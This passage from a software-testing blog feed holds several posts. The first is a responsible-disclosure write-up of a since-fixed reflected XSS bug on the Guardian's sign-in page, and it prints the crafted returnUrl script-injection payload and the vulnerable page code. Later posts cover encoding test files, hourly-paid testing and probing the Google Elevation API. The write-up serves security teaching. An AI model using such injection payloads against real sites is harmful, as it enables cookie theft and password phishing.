is errh a web, and we click links all the time - especially on things like Facebook or twitter, where the links are often even obscured or shortened. <br /><br />The bug could be exploited by amending a normal looking Guardian URL to include some extra/different data:<br /><br />https://id.guardian.co.uk/signin?<i>returnUrl</i>=<span style="color: red;">%27%0D%3C/SCRIPT%3E%3CSCRIPT%3Ealert%28%27HACKED%27%29;//%0D%3C/SCRIPT%3E</span><br /><br /><i>(The issue is fixed now, the above URL does not exploit anymore.)</i><br /><br />The web site would then incorporate that into its [returned] JavaScript code unchecked, instead of the normal un-tampered <i>returnURL</i> value:<br /><br />...<br /><span style="font-size: x-small;"><span style="font-family: &quot;Courier New&quot;,Courier,monospace;">&nbsp; <span style="color: #0b5394;">&lt;script&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; function gPlusSigninCallback(authResult) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var fallbackButton = jQuery(".google-plus-fallback-button");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var jsButton = jQuery(".google-plus-js-button")<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fallbackButton.addClass("hidden")<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jsButton.removeClass("hidden")<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (authResult['error'] == undefined) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(authResult['g-oauth-window']) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jQuery.ajax({<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; url: 'https://id.guardian.co.uk/jsapi/google/autosignup',<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cache: false,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; async: true,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; crossDomain: true,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dataType: 'jsonp',<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data: {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; accessToken : authResult.access_token<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; success : function() {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; window.open('</span><b><span style="color: red;">'<br />&lt;/script&gt;&lt;script&gt;alert('HACKED');//<br />&lt;/script&gt;</span></b><span style="color: #0b5394;">', '_parent');<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; });<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;script type="text/javascript"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (function() {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; po.src = 'https://apis.google.com/js/client:plusone.js';<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; })();<br />&nbsp;&nbsp;&nbsp; &lt;/script&gt;</span></span></span><br />&nbsp;...<br /><br />My XSS code would execute on that page when opened via this modified URL. That modified code can be used to rewrite parts of the page, read a user's cookies or ask the user questions such as <i>What is your password?</i> E.g.:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-dS-WlryVzQQ/Ud6f_i2N20I/AAAAAAAAALE/4LATCCNAur8/s1600/20130409_xss_id_guardian.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-dS-WlryVzQQ/Ud6f_i2N20I/AAAAAAAAALE/4LATCCNAur8/s400/20130409_xss_id_guardian.png" height="268" width="400" /></a></div><br />The issue was particularly bad as it was on the log-in screen, a place where users would be expecting such a question. So despite being self-assured about the authenticity of the web page, thanks to it meeting the criteria mentioned above - A user could have been easily duped. <br /><h4>&nbsp;</h4><h4>So what did I do?</h4>I reported the issue to a contact at the Guardian and passed on the details of the bug. Following the conventions of <a href="http://en.wikipedia.org/wiki/Responsible_disclosure">Responsible Disclosure</a>, I informed the Guardian of what I had found and that I might blog about the issue, after a given time period had expired. This gives the company time to fix the issue, and security researchers like me credit for our work.<br /><h4>&nbsp;</h4><h4>What did they do?</h4>They fixed the bug, thereby protecting their users. They also said thanks. That's a lot more than some companies do, so I'm happy.<br /><br /><h4>What can you do?</h4>As a tester, you can start looking for these issues yourself in your systems, there are plenty of resources available to help. For example OWASP have a testing cheat sheet for many application security problems, including <a href="https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_%28OWASP-DV-001%29">reflected XSS</a>. Like other applications of exploratory testing, the real requirements are in your skills and mind-set and this comes in part from experience.&nbsp; <br /><br />Your security testing skills may not let you know in advance if a system has been hacked when you come to read it, but at least you will have the skills to find out if it has been - or at least how easy it might be.<br /><br /> http://www.investigatingsoftware.co.uk/2013/07/web-application-security-testing.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-3656148546160683984Wed, 03 Oct 2012 21:20:00 +00002015-11-23T09:38:28.108-08:00automationfishingheuristicssystemtestingunicode﻿Simple test automation, with no moving parts.<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"><tbody><tr><td style="text-align: center;"><span style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><a href="http://en.wikipedia.org/wiki/File:Ishihara_9.png"><img border="0" height="200" src="http://2.bp.blogspot.com/-DQ69aUGd-Qs/UGw-bRTht5I/AAAAAAAAAI0/tfl4xEwzWlk/s200/Ishihara_9.png" width="200" /></a></span></td></tr><tr><td class="tr-caption" style="text-align: center;"><a href="http://en.wikipedia.org/wiki/File:Ishihara_9.png">Can you see the 74?</a></td></tr></tbody></table><b id="internal-source-marker_0.41289216256700456" style="font-weight: normal;"><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">This is an Ishihara Color Test. Its used to help diagnose colour blindness, people with certain forms of colour blindness would not be able to read the text contained in the image. The full set of 38 plates would allow a doctor to accurately diagnose the colour-perception deficiencies affecting a patient. </span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">The test is ingenious in its concept, yet remarkably simple in its execution. No complicated lenses, lighting, tools or measuring devices are required. The doctor or nurse can quickly administer the test with a simple and portable pack of cards.</span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">The Ishihara test is an end to end test. Anything, from lighting in the room, to the brain of the patient can influence the result. The examiner will endeavour minimise many of the controllable factors, such as switching off the disco lights, asking the patient to remove their blue tinted sun-glasses and maybe checking they can read normal cards (e.g. your patient might be a child.).</span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">End to end tests like this are messy, many factors can be in-play making classic pre-scripted test automation of minimal use as the burden of coding for the myriad of issues can be prohibitive. Furthermore, despite their underlying-complexity, End to End tests, are often the most valuable – they can tell you if your system can do what your customer is paying for. For example, are your data-entry-inputs making it out to the web? Are they readable by your users?</span></b><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><b id="internal-source-marker_0.41289216256700456" style="font-weight: normal;"><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">These Ishihara style tests, are a quick way of analysing that end-to-end view. This is an area I have been looking into recently, here's an example of a Unicode-encoding detection file, as rendered by default in Firefox.</span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><a href="http://3.bp.blogspot.com/-WMK93StdaZ0/UGw3R326wzI/AAAAAAAAAIg/HkZmunZYmNY/s1600/20120928_ff_default_cut.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="344" src="http://3.bp.blogspot.com/-WMK93StdaZ0/UGw3R326wzI/AAAAAAAAAIg/HkZmunZYmNY/s640/20120928_ff_default_cut.png" width="640" /></a><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">The fact that none of the text is legible, tells us that the text is not being rendered in the common Unicode formats (Known as UTF-8, UTF-16LE or UTF16BE ). This type of rendering problem is known as <a href="http://en.wikipedia.org/wiki/Mojibake">Mojibake</a>. Depending on your context, That might be expected, as by default HTTP uses an older standard text encoding standard&nbsp;</span></b><b id="internal-source-marker_0.41289216256700456" style="font-weight: normal;"><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">(labelled ISO 8859-1, which similar to ASCII)</span></b><b style="font-weight: normal;"><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">. </span></b><br /><b style="font-weight: normal;"><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b><b style="font-weight: normal;"><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">You can actually change how FireFox and Internet Explorer 'decode' the text for a page. These are menus to do it in FireFox on WIndows 7.</span></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-hE7p3Yyzt7w/UGw0CYtxTII/AAAAAAAAAII/8DUlczZnpkc/s1600/20120928_ff_encoding_menus_cut.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="428" src="http://3.bp.blogspot.com/-hE7p3Yyzt7w/UGw0CYtxTII/AAAAAAAAAII/8DUlczZnpkc/s640/20120928_ff_encoding_menus_cut.png" width="640" /></a></div><b style="font-weight: normal;"><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b><b style="font-weight: normal;"><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b><b style="font-weight: normal;"><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">If I change FireFox to use the menu option "Unicode (UTF-16)" character encoding, This is what I see:</span></b><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><a href="http://2.bp.blogspot.com/-NWo7wbBzJpQ/UGw0gCteZWI/AAAAAAAAAIQ/5orADhFitUI/s1600/20120928_ff_utf16_cut.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="340" src="http://2.bp.blogspot.com/-NWo7wbBzJpQ/UGw0gCteZWI/AAAAAAAAAIQ/5orADhFitUI/s640/20120928_ff_utf16_cut.png" width="640" /></a><b><span style="font-family: &quot;arial&quot;; font-weight: normal;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><span style="font-weight: normal;">Notice the page tells me it is being rendered in UTF-16BE. Our special page has reverse engineered what FireFox browser means by UTF-16. There are in fact 2 types of UTF-16, &nbsp;BE and LE ( If you are interested, you can </span><a href="http://en.wikipedia.org/wiki/UTF-16#Byte_order_encoding_schemes"><span style="font-weight: normal;">find out more about this </span>B<span style="font-weight: normal;">ig </span>E<span style="font-weight: normal;">ndian / </span>L<span style="font-weight: normal;">ittle </span>E<span style="font-weight: normal;">ndian quirk </span></a></span><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> ). That's interesting, why did it use UTF-16BE? Is it using UTF-16’s predecessor: UCS-2’s default ordering of Big-Endian?&nbsp;</span></b><br /><b><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">(Don’t worry this stuff IS ACTUALLY CONFUSING.)</span><br /><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">If I change FireFox to use what is fast becoming the de-facto standard, UTF-8, the page tells us likewise:</span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span></b><a href="http://1.bp.blogspot.com/-d0sPGc_iheg/UGw1GkbN_FI/AAAAAAAAAIY/FfaER5RPgdE/s1600/20120928_ff_utf8_cut.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="338" src="http://1.bp.blogspot.com/-d0sPGc_iheg/UGw1GkbN_FI/AAAAAAAAAIY/FfaER5RPgdE/s640/20120928_ff_utf8_cut.png" width="640" /></a><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">I could do other similar investigations, by checking HTTP headers. I might also examine the page-source and the encoding that has configured. But alas, its not uncommon for these to differ for a given page. So to find out which encoding &nbsp;is actually being used? The Ishihara tests can help. </span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Unlike other methods very little setup is required, the files just need to be included in the test system or its data. They are safe and simple - They don’t execute any code at run time and are not prone to many of the usual programming relating maintenance issues.</span><br /><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: &quot;arial&quot;; vertical-align: baseline;"><span style="font-size: 15px; white-space: pre-wrap;">When might you use Ishihara style tests? Whenever you suspect there is some medium that might be interfering with what you are seeing. For example, If you deploy a new cache in front of your website - it shouldn't change how the pages actually are encoded [should it?]. (Changes in encoding </span></span><span style="font-family: &quot;arial&quot;; font-size: 15px; font-style: italic; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">might</span><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> change a page’s appearance - now you have a quick way to check the actual encoding in-use.)</span><br /><b><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b><b><span style="font-family: &quot;arial&quot;; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Remember that end-to-end view? Well if our system has multiple steps - which process or affect our text - then any one of those steps might in theory highlight an issue. So even if viewing our test file suggests it is being treated as UTF-8, this might just mean that for example our back-end content management system processed the file as UTF-8. The next step may have again changed the data to a different encoding. So while we can't always be sure <i>what</i> is affecting the Ishihara test text, we can at least see that <i>something</i> in that <i>black box</i> is affecting it in a visible way.</span></b><br /><span style="font-family: &quot;arial&quot;;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span><span style="font-family: &quot;arial&quot;; vertical-align: baseline;"><span style="font-size: 15px; white-space: pre-wrap;">I've only scratched the surface here with the idea of Ishihara tests. They can provide greater resolution in issues such as character/text encoding e.g. Did that euro symbol display OK? Well we know you are not using ASCII text encoding then etc. The technique can be used elsewhere, have a try yourself. You can </span><a href="https://sites.google.com/site/investigatingsoftware/check_your_encoding.txt" style="font-size: 15px; font-weight: normal; white-space: pre-wrap;">download the simple example above</a><span style="font-size: 15px; white-space: pre-wrap;">.</span></span>http://www.investigatingsoftware.co.uk/2012/10/simple-test-automation-with-no-moving.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-5824573002035864268Mon, 10 Sep 2012 18:40:00 +00002012-09-10T11:40:53.633-07:00agileclockquestioningtestingCincinnati Test Store<div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-Rzcm4pgzEf4/UE4yiRa4NdI/AAAAAAAAAHs/2upBHJ-iKjQ/s1600/800px-LaborNote.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="162" src="http://4.bp.blogspot.com/-Rzcm4pgzEf4/UE4yiRa4NdI/AAAAAAAAAHs/2upBHJ-iKjQ/s320/800px-LaborNote.JPG" width="320" /></a></div>Monday 3rd September 1827, A man steps off the road at the corner of Fifth and Elm, and walks into a store. He's frequented the store a few times since it opened, and he's starting to get to know the owner and his range of merchandise. In fact, like many of people in town he's becoming a regular customer.<br /><br />He steps up to the counter, both he and the store owner glance at the large clock hanging on the wall and nod in unison. The shop-keeper makes a note of the time, the two then begin a rapid discussion of requirements and how the shop keeper might be able to help. When they've agreed what's needed, the shop keeper prepares the various items, bringing them to the counter, weighed, measured and packaged ready for transport to the customers nearby holding.<br /><br />The store keeper then presents the bill to the customer, who glances at the clock again, and the prices listed on each of the items arranged around the store's shelves and then pays. The customer smiles as he loads the goods onto his horse, happy that he's gotten a good deal and yet been able to talk over his needs with the store keeper - for the items he knew least about. He also appreciated how his purchases were packed securely. As he was travelling back home that day, the extra cost of packing the goods was worth it given the rough ride they'd likely take on the journey.<br /><br />The store was the <a href="http://en.wikipedia.org/wiki/Cincinnati_Time_Store">Cincinnati Time Store</a>, and the shop keeper was Josiah Warren. The store was novel, in that it charged customers for the base 'cost' of the items on sale plus a cost for the labour-time involved in getting the item to and serving the customer. The store-keeper might also charge a higher rate for work he considered harder. The store was able to undercut other local stores, and increase the amount of business he was able to transact.<br /><br />Imagine if software testing was bought and sold in this manner. Many successful software testers here in London are contractors, and already work for short contracts as and when is agreeable to both companies. But even then, the time is usually agreed upfront ie: 3 months. Imagine if that time was available on demand, per hour?<br /><br />What drivers would this put onto our work? and that of other team members?<br /><br />You might want constant involvement from your testers, in which case the costs are fairly predictable. But remember, you are paying by the hour, you can stop paying for the testing at the end of each hour. Would you keep the tester being paid for the whole day? week? sprint? even if they were not finding any useful information? If you found that pairing your testers with programmers during full-time was not helping, you can save some money from the pure-programming parts of your plan. Conversely your tester would be motivated to show they could pair and be productive - if they wanted to diversify their skills.<br /><br />As the tester, I'm now financially motivated to keep finding new information. To keep those questions, success stories, bug reports coming. I'm only as good as my last report. If the product owner thinks she's heard enough and wants to ship - then she can stop the costs any-time, and ship.<br /><br />The team might also want to hire a couple of testers, rather than just one. The testers might then be directly competing for 'renewal' at the end of the hour. I might advertise myself as a fast tester (or <a href="http://www.developsense.com/courses.html">rapid tester</a>) and sell my hours at a higher rate. I might do this because I've learned that my customer cares more for timeliness than cost per hour. For example the opportunity cost of not shipping the product 'soon' might be far greater than the cost of the team members. I'd then be motivated to deliver information quicker and more usefully than my cheaper-slower counterpart. My higher rate could help me earn the same income in less time and help the team deliver more sooner.<br /><br />Has your team been bitten by test automation systems that took weeks or longer to 'arrive'? and maybe then didn't quite do what you needed? or were flaky? If you were being paid by the hour, you would want to deliver the test automation or more usefully the results it provides in a more timely manner. You'd be immediately financially motivated to deliver actual-test-results, information or bug reports, incrementally from your test automation. If you delivered automation that didn't help, didn't help you provide more and better information each hour, how would you justify that premium hourly rate? What's more agile than breaking my test automation development work into a continuous stream of value adding deliverables ? that will constantly be helping us test better and quicker?<br /><br />Paying for testing by the hour would not necessarily lead to the unfortunate consequences people imagine when competition is used in the workplace. My fellow tester and I could split the work, maximising our ability to do the best testing we can. If my skills were better suited to testing the applications Java &amp; Unix back-end I'd spend my hour there. Mean-while my colleague uses their expertise in GUI testing and usability to locate investigate an array of front end issues.<br /><br />Unfortunately a tester might also be motivated to drag out testing and drip feed information back to the team. That's a risk. But a second or third tester in the team could help provide a competitive incentive. Especially if those fellow testers were providing better feedback, earlier. Why keep paying Mr <i>SlowNSteady</i> when when Miss <i>BigNewsFirst</i> has found the major issues after a couple of hours work? <br /><br />I might also be tempted to turn every meeting into a job justification speech. Product Owners would need to monitor whether this was getting out of hand - and becoming more than just sharing information.<br /><br />I'm not suggesting this as a panacea for all the ills of software development or even testing in particular. What this kind of thinking does is let you examine what the companies that hire testers - want from testers. What are the customers willing to pay for? What are they willing to pay more for? From my experience, in recent contexts, customers want good information about their new software and they want it quickly - so the system can be either fixed and/or released quickly. <br />http://www.investigatingsoftware.co.uk/2012/09/cincinnati-test-store.htmlnoreply@blogger.com (Pete Houghton)1tag:blogger.com,1999:blog-7222462746492540485.post-3026459787879124772Mon, 14 May 2012 19:55:00 +00002012-05-15T11:36:52.529-07:00agileautomationquestioningtestingUsing test automation to help me test, a Google Elevation API example<br />Someone once asked me if "Testing a login-process was a good thing to 'automate'?". We discussed the actual testing and checking they were concerned with. Their real concern was that their product's 'login' feature was a fundamental requirement, if that was 'broken' they wanted the team to know quick and to get it fixed quicker. A failure to login was probably going to be a show-stopping defect in the product. Another hope was that they could 'liberate' the testers from testing this functionality laboriously in every build/release etc.<br /><br />At this point the context becomes relevant, the answers can change depending the team, company and application involved. We have an idea of what the team are thinking - we need to think about why they have those ideas. For example, do we host or own the login/authentication service? if not, how much value is their in testing the actual login-process? Would a mock of that service suffice for our automated checks?<br /><br />What are we looking for in our automated checks? To <i>see it work</i>? for one user? one user at a time? one type of user at a time? I assume we need to check the inverse of these as well, i.e.: Does it not accept a login for an unacceptable user? otherwise we could easily miss one of the most important tests - do we actually allow and disallow user-logins as required/correctly?<br /><br />These questions soon start highlight the point at which automation can help, and complement testing. That is to say test automation probably wouldn't be a good idea for testing a user-login. But would probably be a good ideas for testing 100 or 1000 logins or types of login. Your testers will probably have to login to use the system themselves, so will inevitably use and eyeball the login process from a a single user perspective. They will unlikely have the time, or patience to test a matrix of 1000 user logins and permissions. Furthermore, the login-service could take advantage of the features automation can bring. For example the login service could be accessed directly and the login API called in what ever manner the tester desires (sequential, parallel, duplicates, fast, slow, random etc). These tests could not practically be performed by one person, and yet are likely to be realistic usage scenarios.<br /><br />An investigation using reasoning and test automation such as this, that plays to the computers strengths can have the desired knock-on effect of liberating the tester, can even provide them with intelligence [information] to aid finding out more information or bugs. The questioning about what they want, what they need, what are they working-with, all sprang from their desire to find out about a specific application of test automation.<br /><br />For example, I recently practiced some exploratory test automation on the Google Maps API, in particular the <a href="https://developers.google.com/maps/documentation/elevation/">Elevation API</a>. The service, in exchange for a latitude and longitude values returns an elevation in meters. The API is designed for use in conjunction with the other Google Maps APIs, but can be used directly without login, via a simple URL. If we had to test this system, maybe as a potential customer or if I was working with the developers, how might we do that? How might test automation help?<br /><br />I start by skim-reading the documentation page, just as much as I need to get started. Firstly, as a tester I can immediately bring some issues to light. I can see the page does not provide an obvious indication of what it means by 'elevation'. Is that elevation above sea level? If so does it refer to height above Mean High Water Spring, as is typical for things such as bridges over the sea or river estuaries. Or is it referring to the height above '<a href="http://en.wikipedia.org/wiki/Chart_datum">chart datum</a>' a somewhat contrived estimate of a mean low tide. I make a note, These questions might well be important to our team - but not instantly answerable.<br /><br /><div class="separator" style="clear: both; text-align: center;"><img border="0" height="257" src="http://3.bp.blogspot.com/-csF32Wb5UGY/T7FeDWMxnjI/AAAAAAAAAHQ/WU8O6wfkHs4/s400/levels.gif" width="400" /></div><div class="separator" style="clear: both; text-align: center;">There's <a href="http://www.sailtrain.co.uk/navigation/charts.htm">more information</a> on nautical charts.</div><br />The documentation also doesn't readily indicate what survey the data is based on (<a href="http://en.wikipedia.org/wiki/Ordnance_Survey_National_Grid#Datum_shift_between_OSGB_36_and_WGS_84">WGS84, OSGB36</a> etc ) While this won't cause you much concern for plotting the location and elevation of your local pizza delivery guy. It might cause concern if you are using the system for anything business critical. For example the two systems mentioned; WGS84 and OSGB36 can map the same co-ordinates to locations 70 metres apart. Again, context questions are arising. Who'd use this system? If you are hill walking in England or Scotland, the latter is likely to be the system used by your <a href="http://en.wikipedia.org/wiki/Ordnance_Survey">Ordinance Survey</a>&nbsp;maps. But your handheld GPS system is likely to default to the American GPS convention of <a href="http://en.wikipedia.org/wiki/World_Geodetic_System">WGS84</a>. Again, important questions for our team, what will the information be used with? by whom? Will it be meaningful and accurate when used with other data?<br /><br />Starting to use the API, as with most software is one of the best ways to find out how it does and does not work. I could easily check to see if a single request will deliver a response, with a command like this, e.g:<br /><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;">curl -s 'http://maps.googleapis.com/maps/api/elevation/json?locations=10,1&amp;sensor=false'</span><br /><br />I tried a few points, checking the sorts of responses I receive. The responses are <a href="http://en.wikipedia.org/wiki/JSON">JSON</a>&nbsp;by default, indented for readability and the precision of co-ordinates and elevation is to several data decimal points. There again, more questions... Does it need to be human readable? Should we save on bandwidth by leaving out the whitespace? Should the elevation be to 14 decimal point? Here is an example response:<br /><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">{</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp;"results" : [</span><br /><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">&nbsp; &nbsp; &nbsp; 